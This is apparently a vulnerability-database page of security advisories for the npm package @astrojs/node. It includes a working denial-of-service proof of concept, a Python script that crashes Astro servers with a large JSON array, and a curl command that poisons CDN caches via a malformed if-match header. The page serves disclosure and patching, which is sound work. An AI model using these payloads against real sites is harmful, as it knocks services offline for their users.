Search for packages
| purl | pkg:npm/%40astrojs/node@6.0.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-c6g3-td4y-gbgj
Aliases: CVE-2026-29772 GHSA-3rmj-9m5h-8fpv |
Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands ### Summary Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. ### Details Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit: ```js // packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory — no size limit const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit ``` The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required. Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit. ### PoC **Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`. The app does **not** use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable. **Setup files:** `package.json`: ```json { "name": "poc-server-islands-dos", "scripts": { "build": "astro build", "start": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.18.0", "@astrojs/node": "9.5.4" } } ``` `astro.config.mjs`: ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ``` `src/pages/index.astro`: ```astro --- --- <html> <head><title>Astro App</title></head> <body> <h1>Hello</h1> <p>Just a plain SSR page. No server islands.</p> </body> </html> ``` `Dockerfile`: ```dockerfile FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"] ``` `docker-compose.yml`: ```yaml services: astro: build: . ports: - "4321:4321" deploy: resources: limits: memory: 256m ``` **Reproduction:** ```bash # Build and start docker compose up -d # Verify server is running curl http://localhost:4321/ # => 200 OK ``` `crash.py`: ```python import requests # Any path under /_server-islands/ works — no valid island name needed TARGET = "http://localhost:4321/_server-islands/x" # 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object # 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit n = 3_000_000 payload = '[' + ','.join(['{}'] * n) + ']' print(f"Payload: {len(payload) / (1024*1024):.1f} MB") try: r = requests.post(TARGET, data=payload, headers={"Content-Type": "application/json"}, timeout=30) print(f"Status: {r.status_code}") except requests.exceptions.ConnectionError: print("Server crashed (OOM killed)") ``` ``` $ python crash.py Payload: 8.6 MB Server crashed (OOM killed) $ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused $ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty — container was OOM killed) ``` The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop. ### Impact Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated. |
Affected by 1 other vulnerability. |
|
VCID-ecmk-efnj-nbfq
Aliases: CVE-2026-25545 GHSA-qq67-mvv5-fw3g |
Astro has Full-Read SSRF in error rendering via Host: header injection Server-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker's server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request. |
Affected by 2 other vulnerabilities. |
|
VCID-jt7q-nwep-wbfb
Aliases: CVE-2026-41322 GHSA-c57f-mm3j-27q9 |
Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed ### Summary Requesting a static JS/CSS resource from the `_astro` path with an incorrect or malformed `if-match` header returns a `500` error with a one-year cache lifetime instead of `412` in some cases. As a result, all subsequent requests to that file — regardless of the `if-match` header — will be served a 5xx error instead of the file until the cache expires. Sending an incorrect or malformed `if-match` header should always return a `412` error without any cache headers, which is not the current behavior. ### Affected Versions - `astro@5.14.1` - `@astrojs/node@9.4.4` ### Proof of Concept Run the following command: ``` curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx" ``` If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably. A response similar to the following is expected from CloudFront: ``` HTTP/2 500 content-type: text/html content-length: 166541 date: Thu, 09 Apr 2026 12:53:08 GMT last-modified: Wed, 21 Jan 2026 13:40:08 GMT etag: "a68349e96c2faf8861c330aeb548441a" x-amz-server-side-encryption: AES256 accept-ranges: bytes server: AmazonS3 x-cache: Error from cloudfront via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront) x-amz-cf-pop: ZRH55-P2 x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg== ``` The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same `curl` command issued directly against a pod in Kubernetes: ``` ❯ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx" HTTP/1.1 500 Internal Server Error Cache-Control: public, max-age=31536000, immutable Accept-Ranges: bytes Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT ETag: W/"560-19d66c50c38" Content-Type: text/javascript; charset=utf-8 Date: Tue, 07 Apr 2026 08:23:54 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked ``` This demonstrates that the pod itself returns a `5xx` error instead of `412`. In addition, the response includes a `Cache-Control: public, max-age=31536000, immutable` header. Because the testing setup configures `if-match` as part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned `5xx` errors instead of the original CSS/JS content, breaking the application. ### Details The findings were analyzed with an LLM, which identified the following file as the likely source: [serve-static.ts](https://github.com/withastro/astro/blob/main/packages/integrations/node/src/serve-static.ts) ```js // Lines 129-153 let forwardError = false; stream.on('error', (err) => { if (forwardError) { console.error(err.toString()); res.writeHead(500); res.end('Internal server error'); return; } // File not found, forward to the SSR handler ssr(); }); stream.on('headers', (_res: ServerResponse) => { // assets in dist/_astro are hashed and should get the immutable header if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) { // This is the "far future" cache header, used for static files whose name includes their digest hash. // 1 year (31,536,000 seconds) is convention. // Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable _res.setHeader('Cache-Control', 'public, max-age=31536000, immutable'); } }); stream.on('file', () => { forwardError = true; }); stream.pipe(res); ``` LLM analysis: > `send` handles conditional request headers such as `If-Match` internally. When a file is found but the precondition fails (ETag mismatch), `send`: > > 1. Emits `file` (the file exists) → `forwardError = true` > 2. Emits `headers` → `Cache-Control: public, max-age=31536000, immutable` is set on `res` > 3. Emits `error` with a `PreconditionFailedError` (status 412) > > However, the error handler does not inspect the error's status code: > > ```js > stream.on('error', (err) => { > if (forwardError) { > console.error(err.toString()); > res.writeHead(500); // ← always 500, regardless of the actual error > res.end('Internal server error'); > return; > } > ssr(); > }); > ``` > > Because `Cache-Control` was already set during the `headers` event, the response is sent as: > > ``` > HTTP/1.1 500 Internal Server Error > Cache-Control: public, max-age=31536000, immutable > ``` ### Impact **Cache Poisoning** — An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires. |
Affected by 0 other vulnerabilities. |
|
VCID-mhk4-vf4t-47g7
Aliases: CVE-2025-55207 GHSA-9x9c-ghc5-jhw9 |
@astrojs/node's trailing slash handling causes open redirect issue Following https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios. |
Affected by 5 other vulnerabilities. |
|
VCID-qcs7-nt67-7qe5
Aliases: CVE-2025-55303 GHSA-xf8x-j4p2-f749 |
Astro allows unauthorized third-party images in _image endpoint In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. |
Affected by 6 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||